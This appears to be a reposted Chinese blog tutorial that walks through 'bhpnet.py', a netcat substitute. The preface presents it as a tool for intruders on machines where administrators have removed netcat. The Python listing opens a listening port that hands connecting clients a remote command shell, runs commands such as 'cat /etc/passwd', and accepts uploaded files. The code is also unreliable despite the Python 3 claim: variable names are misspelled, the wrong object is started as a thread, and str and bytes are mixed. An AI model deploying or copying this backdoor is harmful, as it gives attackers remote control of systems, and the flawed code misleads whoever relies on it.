取代netcat


前言

眾所周知,netcat是網絡界的瑞士軍刀,它的主要作用是:提供連接其他終端的方法,可以上傳文件,反彈shell等等各種利於別人控制你電腦的操作。所以聰明的系統管理員會將它從系統中移除,這樣當別人滲透進入你的系統,也沒有現成的連接工具給他們用。

代碼實現

import sys
import socket
import getopt
import threading
import subprocess

#定義一些全局變量
listen              = False
command             = False
upload              = False
execute             = ""
target              = ""
upload_destination  = ""
port                = 0

def usage():
    print("BHP Net Tool")
    print()
    print("Usage: bhpnet.py -t target_host -p port")
    print("-l --listen              - listen on [host]:[port] for incoming cennections")
    print("-e --execute=file_to_run - execute the given file upon receiving a connection ")
    print("-c --command             - initialize a command shell")
    print("-u --upload=destination  - upon receiving connection upload a file and write to [destinction]")
    print()
    print()
    print("Examples: ")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=C:\\target.exe")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
    print("echo 'ABCDEFGHIJK' | ./bhpnet.py -t 192.168.0.1 -p 8888")
    sys.exit(0)

def main():
    global listen
    global port
    global execute
    global command
    global upload_destincation
    global target

    if not len(sys.argv[1:]):
        usage()

    try:
        opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen"
                                ,"execute","tarhet", "port", "command", "upload"])
    except getopt.GetoptError as err:
        print(str(err))
        usage()

    for o,a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destinction = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False,"Unhandle Option"
    #判斷我們是在監聽還是僅僅從標准輸入發送數據
    #listen為False,len(target)大於0,port > 0 三個條件同時成立,則證明:
    #是從標准輸入讀取數據,即:從標准輸入讀取數據,發送到監聽端(服務端)。
    #這里的標准輸入可以來自鍵盤輸入,亦可以來自文件重定向。
    if not listen and len(target) and port > 0:
        #從命令行(標准輸入)讀取數據
        #這里將阻塞,所以在不想向標准輸入發送數據時:要發送CTRL-D
        buffer = sys.stdin.read()

        # 將標准輸入的數據發送到監聽端
        client_sender(buffer)

    #如果上面的if語句沒被執行,那么就說明這個程序是作為監聽端了。
    #我們開始監聽並准備上傳文件,執行命令
    #放置一個反彈shell
    #具體操作取決於你用的命令行選項
    if listen:
        server_loop()

def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        #連接到目標主機
        client.connect((target, port))

        if len(buffer):
            client.send(buffer)
        while(True):
            #現在等待數據回傳
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break
            print(response,)

            #等待更多輸入
            buffer = raw_input("")
            buffer += "\n"

            #發送出去
            client.send(buffer)
    except:
        print("[*] Exception! Exiting")
    client.close()

def server_loop():
    global target

    #如果沒有定義目標,則監控所有端口
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target,port))

    server.listen(5)

    while(True):
        client_socket, addr = server.accept()

        #分拆一個線程處理新的客戶端
        client_thread = threading.Thread(target=client_handler, args = (client_socket,))
        client.start()

def run_command(command):
    command = command.rstrip()
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Falied to execute command.\r\n"

    return output

def client_handler(client_socket):
    global upload
    global execute
    global command

    if len(upload_destination):
        #讀取所有的字符並寫入目標
        # (目標是一個文件,文件名跟在-u后面,這個操作就是將客戶端傳過來的數據寫進文件里)
        file_buffer = ""

        while True:
            data = client_socket.recv(1024)
            if not data:
                break
            else:
                file_buffer += data

        #現在將接受到的數據file_buffer寫進文件里
        try:
            file_descriptor = open(upload_destinction, "wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            #向另一端(即客戶端)發送確認報文,確認文件已成功接收
            client_socket.send("Successful saved file to %s\r\n" % upload_destinction)
        except:
            client_socket.send("Failed to save file to %s\r\n" % upload_destinction)

        #檢查命令執行
        if len(execute):
            output = run_command(execute)
            client_socket.send(output)

        #如果需要一個命令行shell,那么我們進入另一個循環
        if command:
            while True:
                #跳出一個窗口
                client_socket.send("<BHP: #> ")

                #現在我們接受文件直至發現換行符(即當你輸入完命令后會按回車)
                cmd_buffer = ""
                while "\n" not in cmd_buffer:
                    cmd_buffer += client_socket.recv(1024)

                #執行命令,並且將命令的輸出結果保存在response里
                response = run_command(cmd_buffer)

                # 返回相應數據
                client_socket.send(response)





if __name__ == "__main__":
    main()

注意,我這個代碼是python3的,如果想看python2的,看這位大神的博客


輸出

  1. 將bhpnet.py作為客戶端,連接百度:echo -ne "GET / HTTP/1.1\r\nHost:www.baidu.com\r\n\r\n" | ./bhpnet.py -t www.baidu.com -p 80

  2. 反彈一個shell(這里有-l參數的命令行是作為監聽端,即服務端。沒-l參數的作為客戶端)。監聽端命令:./bhpnet.py -p 5555 -c -l 客戶端命令:./bhpnet.py -t 127.0.0.1 -p 5555

  3. 上傳文件

小總結

或許經歷了前面TCP服務端與TCP客戶端分離的形式,你會分不清什么時候bhpnet.py作為服務端,什么時候作為客戶端。這里可以簡單認為:有-l參數的就是服務端。因為只有服務端會監聽端口。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM